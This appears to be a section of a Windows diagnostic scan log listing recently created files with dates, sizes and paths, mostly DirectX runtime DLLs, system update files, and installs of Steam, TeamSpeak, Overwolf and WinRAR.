2017-05-30 22:03 - 2008-10-15 06:22 - 02036576 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 00519000 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 00452440 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_40.dll
2017-05-30 22:03 - 2008-07-31 10:41 - 00238088 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_2.dll
2017-05-30 22:03 - 2008-07-31 10:41 - 00177672 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_2.dll
2017-05-30 22:03 - 2008-07-31 10:41 - 00072200 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_1.dll
2017-05-30 22:03 - 2008-07-31 10:41 - 00068616 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_1.dll
2017-05-30 22:03 - 2008-07-31 10:40 - 00513544 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_2.dll
2017-05-30 22:03 - 2008-07-31 10:40 - 00509448 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_2.dll
2017-05-30 22:03 - 2008-07-10 11:01 - 00467984 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 04992520 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 03851784 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 01942552 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 01493528 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 00540688 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_39.dll
2017-05-30 22:03 - 2008-05-30 14:19 - 00511496 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_1.dll
2017-05-30 22:03 - 2008-05-30 14:19 - 00507400 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_1.dll
2017-05-30 22:03 - 2008-05-30 14:18 - 00238088 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_1.dll
2017-05-30 22:03 - 2008-05-30 14:18 - 00177672 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_1.dll
2017-05-30 22:03 - 2008-05-30 14:17 - 00068104 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_0.dll
2017-05-30 22:03 - 2008-05-30 14:17 - 00065032 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_0.dll
2017-05-30 22:03 - 2008-05-30 14:17 - 00025608 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_4.dll
2017-05-30 22:03 - 2008-05-30 14:16 - 00028168 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_4.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 04991496 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 03850760 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 01941528 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 01491992 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 00540688 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 00467984 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_38.dll
2017-05-30 22:03 - 2008-03-05 16:04 - 00489480 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_0.dll
2017-05-30 22:03 - 2008-03-05 16:03 - 00479752 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_0.dll
2017-05-30 22:03 - 2008-03-05 16:03 - 00238088 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_0.dll
2017-05-30 22:03 - 2008-03-05 16:03 - 00177672 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_0.dll
2017-05-30 22:03 - 2008-03-05 16:00 - 00028168 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_3.dll
2017-05-30 22:03 - 2008-03-05 16:00 - 00025608 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_3.dll
2017-05-30 22:03 - 2008-03-05 15:56 - 04910088 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_37.dll
2017-05-30 22:03 - 2008-03-05 15:56 - 03786760 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_37.dll
2017-05-30 22:03 - 2008-03-05 15:56 - 01860120 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_37.dll
2017-05-30 22:03 - 2008-03-05 15:56 - 01420824 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_37.dll
2017-05-30 22:03 - 2008-02-05 23:07 - 00529424 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_37.dll
2017-05-30 22:03 - 2008-02-05 23:07 - 00462864 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_37.dll
2017-05-30 22:03 - 2007-10-22 03:40 - 00411656 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_10.dll
2017-05-30 22:03 - 2007-10-22 03:39 - 00267272 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_10.dll
2017-05-30 22:03 - 2007-10-22 03:37 - 00021000 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_2.dll
2017-05-30 22:03 - 2007-10-22 03:37 - 00017928 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_2.dll
2017-05-30 22:03 - 2007-10-12 15:14 - 05081608 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_36.dll
2017-05-30 22:03 - 2007-10-12 15:14 - 03734536 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_36.dll
2017-05-30 22:03 - 2007-10-12 15:14 - 02006552 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_36.dll
2017-05-30 22:03 - 2007-10-12 15:14 - 01374232 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_36.dll
2017-05-30 22:03 - 2007-10-02 09:56 - 00508264 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_36.dll
2017-05-30 22:03 - 2007-10-02 09:56 - 00444776 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_36.dll
2017-05-30 22:03 - 2007-07-20 00:57 - 00411496 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_9.dll
2017-05-30 22:03 - 2007-07-20 00:57 - 00267112 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_9.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 05073256 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 03727720 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 01985904 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 01358192 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 00508264 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 00444776 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_35.dll
2017-05-30 22:03 - 2007-06-20 20:49 - 00409960 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_8.dll
2017-05-30 22:03 - 2007-06-20 20:46 - 00266088 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_8.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 04496232 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 03497832 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 01401200 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 01124720 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 00506728 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 00443752 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_34.dll
2017-05-30 22:03 - 2007-04-04 18:55 - 00403304 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_7.dll
2017-05-30 22:03 - 2007-04-04 18:55 - 00261480 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_7.dll
2017-05-30 22:03 - 2007-04-04 18:54 - 00107368 _____ (Microsoft Corporation) C:\windows\system32\xinput1_3.dll
2017-05-30 22:03 - 2007-04-04 18:53 - 00081768 _____ (Microsoft Corporation) C:\windows\SysWOW64\xinput1_3.dll
2017-05-30 22:03 - 2007-03-15 16:57 - 00506728 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_33.dll
2017-05-30 22:03 - 2007-03-15 16:57 - 00443752 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_33.dll
2017-05-30 22:03 - 2007-03-12 16:42 - 04494184 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_33.dll
2017-05-30 22:03 - 2007-03-12 16:42 - 03495784 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_33.dll
2017-05-30 22:03 - 2007-03-12 16:42 - 01400176 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_33.dll
2017-05-30 22:03 - 2007-03-12 16:42 - 01123696 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_33.dll
2017-05-30 22:03 - 2007-03-05 12:42 - 00017688 _____ (Microsoft Corporation) C:\windows\system32\x3daudio1_1.dll
2017-05-30 22:03 - 2007-03-05 12:42 - 00015128 _____ (Microsoft Corporation) C:\windows\SysWOW64\x3daudio1_1.dll
2017-05-30 22:03 - 2007-01-24 15:27 - 00393576 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_6.dll
2017-05-30 22:03 - 2007-01-24 15:27 - 00255848 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_6.dll
2017-05-30 22:03 - 2006-12-08 12:02 - 00251672 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_5.dll
2017-05-30 22:03 - 2006-12-08 12:00 - 00390424 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_5.dll
2017-05-30 22:03 - 2006-11-29 13:06 - 04398360 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_32.dll
2017-05-30 22:03 - 2006-11-29 13:06 - 03426072 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_32.dll
2017-05-30 22:03 - 2006-11-29 13:06 - 00469264 _____ (Microsoft Corporation) C:\windows\system32\d3dx10.dll
2017-05-30 22:03 - 2006-11-29 13:06 - 00440080 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10.dll
2017-05-30 22:03 - 2006-09-28 16:05 - 03977496 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_31.dll
2017-05-30 22:03 - 2006-09-28 16:05 - 02414360 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_31.dll
2017-05-30 22:03 - 2006-09-28 16:05 - 00237848 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_4.dll
2017-05-30 22:03 - 2006-09-28 16:04 - 00364824 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_4.dll
2017-05-30 22:03 - 2006-07-28 09:31 - 00083736 _____ (Microsoft Corporation) C:\windows\system32\xinput1_2.dll
2017-05-30 22:03 - 2006-07-28 09:30 - 00363288 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_3.dll
2017-05-30 22:03 - 2006-07-28 09:30 - 00236824 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_3.dll
2017-05-30 22:03 - 2006-07-28 09:30 - 00062744 _____ (Microsoft Corporation) C:\windows\SysWOW64\xinput1_2.dll
2017-05-30 22:03 - 2006-05-31 07:24 - 00230168 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_2.dll
2017-05-30 22:03 - 2006-05-31 07:22 - 00354072 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_2.dll
2017-05-30 22:03 - 2006-03-31 12:41 - 03927248 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_30.dll
2017-05-30 22:03 - 2006-03-31 12:40 - 02388176 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_30.dll
2017-05-30 22:03 - 2006-03-31 12:40 - 00352464 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_1.dll
2017-05-30 22:03 - 2006-03-31 12:39 - 00229584 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_1.dll
2017-05-30 22:03 - 2006-03-31 12:39 - 00083664 _____ (Microsoft Corporation) C:\windows\system32\xinput1_1.dll
2017-05-30 22:03 - 2006-03-31 12:39 - 00062672 _____ (Microsoft Corporation) C:\windows\SysWOW64\xinput1_1.dll
2017-05-30 22:03 - 2006-02-03 08:43 - 03830992 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_29.dll
2017-05-30 22:03 - 2006-02-03 08:43 - 02332368 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_29.dll
2017-05-30 22:03 - 2006-02-03 08:42 - 00355536 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_0.dll
2017-05-30 22:03 - 2006-02-03 08:42 - 00230096 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_0.dll
2017-05-30 22:03 - 2006-02-03 08:41 - 00016592 _____ (Microsoft Corporation) C:\windows\system32\x3daudio1_0.dll
2017-05-30 22:03 - 2006-02-03 08:41 - 00014032 _____ (Microsoft Corporation) C:\windows\SysWOW64\x3daudio1_0.dll
2017-05-30 22:03 - 2005-12-05 18:09 - 03815120 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_28.dll
2017-05-30 22:03 - 2005-12-05 18:09 - 02323664 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_28.dll
2017-05-30 22:03 - 2005-07-22 19:59 - 03807440 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_27.dll
2017-05-30 22:03 - 2005-07-22 19:59 - 02319568 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_27.dll
2017-05-30 22:03 - 2005-05-26 15:34 - 03767504 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_26.dll
2017-05-30 22:03 - 2005-05-26 15:34 - 02297552 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_26.dll
2017-05-30 22:03 - 2005-03-18 17:19 - 03823312 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_25.dll
2017-05-30 22:03 - 2005-02-05 19:45 - 03544272 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_24.dll
2017-05-30 22:03 - 2005-02-05 19:45 - 02222800 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_24.dll
2017-05-30 22:02 - 2017-06-04 19:34 - 00000000 ____D C:\Users\****\Documents\My Games
2017-05-30 21:29 - 2017-05-30 21:29 - 00000202 _____ C:\Users\****\Desktop\Rocket League.url
2017-05-30 21:28 - 2017-05-30 21:28 - 00000201 _____ C:\Users\****\Desktop\Mount & Blade Warband.url
2017-05-30 21:23 - 2017-05-30 21:23 - 00000554 _____ C:\Users\Public\Desktop\Steam.lnk
2017-05-30 21:23 - 2017-05-30 21:23 - 00000000 ____D C:\Users\****\AppData\Roaming\NVIDIA
2017-05-30 21:14 - 2015-09-24 20:45 - 05017446 _____ C:\Users\****\Desktop\Tracers.zip
2017-05-30 21:14 - 2014-07-07 19:02 - 04001792 _____ C:\Users\****\Desktop\Uniformen+Banner(Finalversion).rar
2017-05-30 20:57 - 2017-05-30 20:57 - 00000000 ____D C:\Users\****\AppData\Local\Steam
2017-05-30 20:57 - 2017-05-30 20:57 - 00000000 ____D C:\Users\****\AppData\Local\CEF
2017-05-30 20:55 - 2017-05-30 20:55 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Steam
2017-05-30 20:53 - 2017-05-30 20:53 - 01446792 _____ C:\Users\****\Downloads\SteamSetup.exe
2017-05-30 20:52 - 2017-05-30 20:52 - 00000000 ____H C:\windows\system32\Drivers\Msft_User_WpdFs_01_11_00.Wdf
2017-05-30 20:45 - 2017-05-31 13:53 - 00000000 ____D C:\ProgramData\Overwolf
2017-05-30 20:45 - 2017-05-30 20:45 - 00004382 _____ C:\windows\System32\Tasks\Overwolf Updater Task
2017-05-30 20:45 - 2017-05-30 20:45 - 00001156 _____ C:\Users\Public\Desktop\Overwolf.lnk
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Overwolf
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\Users\****\.TeamSpeak 3
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\Users\****\.QtWebEngineProcess
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\Program Files (x86)\Overwolf
2017-05-30 20:44 - 2017-06-06 12:26 - 00000000 ____D C:\Users\****\AppData\Local\Overwolf
2017-05-30 20:44 - 2017-06-06 12:19 - 00000000 ____D C:\Users\****\AppData\Roaming\TS3Client
2017-05-30 20:44 - 2017-05-30 20:44 - 00001014 _____ C:\Users\Public\Desktop\TeamSpeak 3 Client.lnk
2017-05-30 20:44 - 2017-05-30 20:44 - 00000976 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamSpeak 3 Client.lnk
2017-05-30 20:44 - 2017-05-30 20:44 - 00000000 ____D C:\Program Files\TeamSpeak 3 Client
2017-05-30 20:42 - 2017-05-30 20:43 - 77604984 _____ (TeamSpeak Systems GmbH) C:\Users\****\Downloads\TeamSpeak3-Client-win64-3.1.4.exe
2017-05-30 20:42 - 2017-05-30 20:42 - 00001054 _____ C:\Users\Public\Desktop\WinRAR.lnk
2017-05-30 20:42 - 2017-05-30 20:42 - 00000000 ____D C:\Users\****\AppData\Roaming\WinRAR
2017-05-30 20:42 - 2017-05-30 20:42 - 00000000 ____D C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR
2017-05-30 20:42 - 2017-05-30 20:42 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WinRAR
2017-05-30 20:42 - 2017-05-30 20:42 - 00000000 ____D C:\Program Files\WinRAR
2017-05-30 20:41 - 2017-05-30 20:41 - 02309992 _____ C:\Users\****\Downloads\winrar-x64-540d.exe
2017-05-30 11:06 - 2017-05-20 11:13 - 01333136 _____ (Microsoft Corporation) C:\windows\SysWOW64\msctf.dll
2017-05-30 11:06 - 2017-05-20 11:13 - 00626528 _____ (Microsoft Corporation) C:\windows\SysWOW64\fontdrvhost.exe
2017-05-30 11:06 - 2017-05-20 10:55 - 00606960 _____ (Microsoft Corporation) C:\windows\SysWOW64\oleaut32.dll
2017-05-30 11:06 - 2017-05-20 10:53 - 02259760 _____ (Microsoft Corporation) C:\windows\SysWOW64\CoreUIComponents.dll
2017-05-30 11:06 - 2017-05-20 10:48 - 04469832 _____ (Microsoft Corporation) C:\windows\SysWOW64\explorer.exe
2017-05-30 11:06 - 2017-05-20 10:47 - 01474800 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.ApplicationModel.Store.dll
2017-05-30 11:06 - 2017-05-20 10:46 - 05821496 _____ (Microsoft Corporation) C:\windows\SysWOW64\windows.storage.dll
2017-05-30 11:06 - 2017-05-20 10:46 - 01266544 _____ (Microsoft Corporation) C:\windows\SysWOW64\twinapi.appcore.dll
2017-05-30 11:06 - 2017-05-20 10:46 - 00754080 _____ (Microsoft Corporation) C:\windows\SysWOW64\LicenseManager.dll
2017-05-30 11:06 - 2017-05-20 10:45 - 00349600 _____ (Microsoft Corporation) C:\windows\SysWOW64\msv1_0.dll
2017-05-30 11:06 - 2017-05-20 10:44 - 00519680 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppXDeploymentClient.dll
2017-05-30 11:06 - 2017-05-20 10:44 - 00181664 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppxAllUserStore.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 06760024 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.Protection.PlayReady.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 05802968 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 04672848 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfcore.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 02424016 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfmp4srcsnk.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 01529384 _____ (Microsoft Corporation) C:\windows\SysWOW64\winmde.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 01455592 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfplat.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 01120864 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfsvr.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 00354400 _____ (Microsoft Corporation) C:\windows\SysWOW64\MMDevAPI.dll
2017-05-30 11:06 - 2017-05-20 10:42 - 20373920 _____ (Microsoft Corporation) C:\windows\SysWOW64\shell32.dll
2017-05-30 11:06 - 2017-05-20 10:40 - 00583160 _____ (Microsoft Corporation) C:\windows\SysWOW64\CoreMessaging.dll
2017-05-30 11:06 - 2017-05-20 10:29 - 13840384 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Xaml.dll
2017-05-30 11:06 - 2017-05-20 10:29 - 00584192 _____ (Microsoft Corporation) C:\windows\SysWOW64\UIRibbonRes.dll
2017-05-30 11:06 - 2017-05-20 10:27 - 02199552 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Xaml.Resources.dll
2017-05-30 11:06 - 2017-05-20 10:27 - 00141824 _____ (Microsoft Corporation) C:\windows\SysWOW64\smartscreenps.dll
2017-05-30 11:06 - 2017-05-20 10:26 - 00059904 _____ C:\windows\SysWOW64\xboxgipsynthetic.dll
2017-05-30 11:06 - 2017-05-20 10:26 - 00025088 _____ (Microsoft Corporation) C:\windows\SysWOW64\odbcconf.dll
2017-05-30 11:06 - 2017-05-20 10:25 - 20505088 _____ (Microsoft Corporation) C:\windows\SysWOW64\edgehtml.dll
2017-05-30 11:06 - 2017-05-20 10:25 - 00826368 _____ (Microsoft Corporation) C:\windows\SysWOW64\NPSMDesktopProvider.dll
2017-05-30 11:06 - 2017-05-20 10:25 - 00174080 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Web.Diagnostics.dll
2017-05-30 11:06 - 2017-05-20 10:24 - 00362496 _____ (Microsoft Corporation) C:\windows\SysWOW64\daxexec.dll
2017-05-30 11:06 - 2017-05-20 10:23 - 06728192 _____ (Microsoft Corporation) C:\windows\SysWOW64\twinui.dll
2017-05-30 11:06 - 2017-05-20 10:22 - 19334656 _____ (Microsoft Corporation) C:\windows\SysWOW64\mshtml.dll
2017-05-30 11:06 - 2017-05-20 10:22 - 01292288 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSVPXENC.dll
2017-05-30 11:06 - 2017-05-20 10:22 - 00754176 _____ (Microsoft Corporation) C:\windows\SysWOW64\MessagingDataModel2.dll
2017-05-30 11:06 - 2017-05-20 10:22 - 00394240 _____ (Microsoft Corporation) C:\windows\SysWOW64\DictationManager.dll
2017-05-30 11:06 - 2017-05-20 10:21 - 01984000 _____ (Microsoft Corporation) C:\windows\SysWOW64\DeviceFlows.DataModel.dll
2017-05-30 11:06 - 2017-05-20 10:21 - 00476672 _____ (Microsoft Corporation) C:\windows\SysWOW64\OneDriveSettingSyncProvider.dll
2017-05-30 11:06 - 2017-05-20 10:21 - 00444928 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.System.Launcher.dll
2017-05-30 11:06 - 2017-05-20 10:20 - 00807424 _____ (Microsoft Corporation) C:\windows\SysWOW64\StoreAgent.dll
2017-05-30 11:06 - 2017-05-20 10:20 - 00507392 _____ (Microsoft Corporation) C:\windows\SysWOW64\vbscript.dll
2017-05-30 11:06 - 2017-05-20 10:20 - 00368128 _____ (Microsoft Corporation) C:\windows\SysWOW64\InstallAgentUserBroker.exe
2017-05-30 11:06 - 2017-05-20 10:20 - 00354304 _____ (Microsoft Corporation) C:\windows\SysWOW64\ActivationManager.dll
2017-05-30 11:06 - 2017-05-20 10:19 - 05719040 _____ (Microsoft Corporation) C:\windows\SysWOW64\BingMaps.dll
2017-05-30 11:06 - 2017-05-20 10:19 - 00636416 _____ (Microsoft Corporation) C:\windows\SysWOW64\WpcWebFilter.dll
2017-05-30 11:06 - 2017-05-20 10:18 - 06292992 _____ (Microsoft Corporation) C:\windows\SysWOW64\Chakra.dll
2017-05-30 11:06 - 2017-05-20 10:18 - 01450496 _____ (Microsoft Corporation) C:\windows\SysWOW64\UIAutomationCore.dll
2017-05-30 11:06 - 2017-05-20 10:18 - 01248768 _____ (Microsoft Corporation) C:\windows\SysWOW64\AzureSettingSyncProvider.dll
2017-05-30 11:06 - 2017-05-20 10:17 - 11870720 _____ (Microsoft Corporation) C:\windows\SysWOW64\ieframe.dll
2017-05-30 11:06 - 2017-05-20 10:17 - 00952832 _____ (Microsoft Corporation) C:\windows\SysWOW64\comdlg32.dll
2017-05-30 11:06 - 2017-05-20 10:17 - 00909312 _____ (Microsoft Corporation) C:\windows\SysWOW64\SettingSyncCore.dll
2017-05-30 11:06 - 2017-05-20 10:17 - 00329728 _____ (Microsoft Corporation) C:\windows\SysWOW64\InstallAgent.exe
2017-05-30 11:06 - 2017-05-20 10:17 - 00050176 _____ (Microsoft Corporation) C:\windows\SysWOW64\cldapi.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 05225984 _____ (Microsoft Corporation) C:\windows\SysWOW64\d2d1.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 03667456 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_47.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 02588160 _____ (Microsoft Corporation) C:\windows\SysWOW64\MapRouter.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 02298368 _____ (Microsoft Corporation) C:\windows\SysWOW64\dwmcore.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 00899584 _____ (Microsoft Corporation) C:\windows\SysWOW64\twinui.appcore.dll
2017-05-30 11:06 - 2017-05-20 10:15 - 02088960 _____ (Microsoft Corporation) C:\windows\SysWOW64\MapGeocoder.dll
2017-05-30 11:06 - 2017-05-20 10:15 - 01019904 _____ (Microsoft Corporation) C:\windows\SysWOW64\aadtb.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 04559360 _____ (Microsoft Corporation) C:\windows\SysWOW64\dbgeng.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 04417024 _____ (Microsoft Corporation) C:\windows\SysWOW64\ExplorerFrame.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 04056576 _____ (Microsoft Corporation) C:\windows\SysWOW64\MFMediaEngine.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 02679296 _____ (Microsoft Corporation) C:\windows\SysWOW64\SRH.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 02211328 _____ (Microsoft Corporation) C:\windows\SysWOW64\InputService.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 01035264 _____ (Microsoft Corporation) C:\windows\SysWOW64\ShareHost.dll
2017-05-30 11:06 - 2017-05-20 10:11 - 01536512 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Immersive.dll
2017-05-30 11:06 - 2017-05-20 10:10 - 00332800 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Midi.dll
2017-05-30 11:06 - 2017-05-20 10:10 - 00128000 _____ (Microsoft Corporation) C:\windows\SysWOW64\NPSM.dll
2017-05-30 11:06 - 2017-05-20 10:10 - 00089088 _____ (Microsoft Corporation) C:\windows\SysWOW64\olepro32.dll
2017-05-30 11:06 - 2017-05-20 10:08 - 00174080 _____ (Microsoft Corporation) C:\windows\SysWOW64\RstrtMgr.dll
2017-05-30 11:06 - 2017-05-20 09:08 - 01459728 _____ (Microsoft Corporation) C:\windows\system32\msctf.dll
2017-05-30 11:06 - 2017-05-20 09:08 - 01147296 _____ (Microsoft Corporation) C:\windows\system32\hvix64.exe
2017-05-30 11:06 - 2017-05-20 09:08 - 01024928 _____ (Microsoft Corporation) C:\windows\system32\hvax64.exe
2017-05-30 11:06 - 2017-05-20 09:08 - 00750560 _____ (Microsoft Corporation) C:\windows\system32\fontdrvhost.exe
2017-05-30 11:06 - 2017-05-20 09:08 - 00543648 _____ (Microsoft Corporation) C:\windows\system32\securekernel.exe
2017-05-30 11:06 - 2017-05-20 09:07 - 00287648 _____ (Microsoft Corporation) C:\windows\system32\Drivers\sdbus.sys
2017-05-30 11:06 - 2017-05-20 09:03 - 08320928 _____ (Microsoft Corporation) C:\windows\system32\ntoskrnl.exe
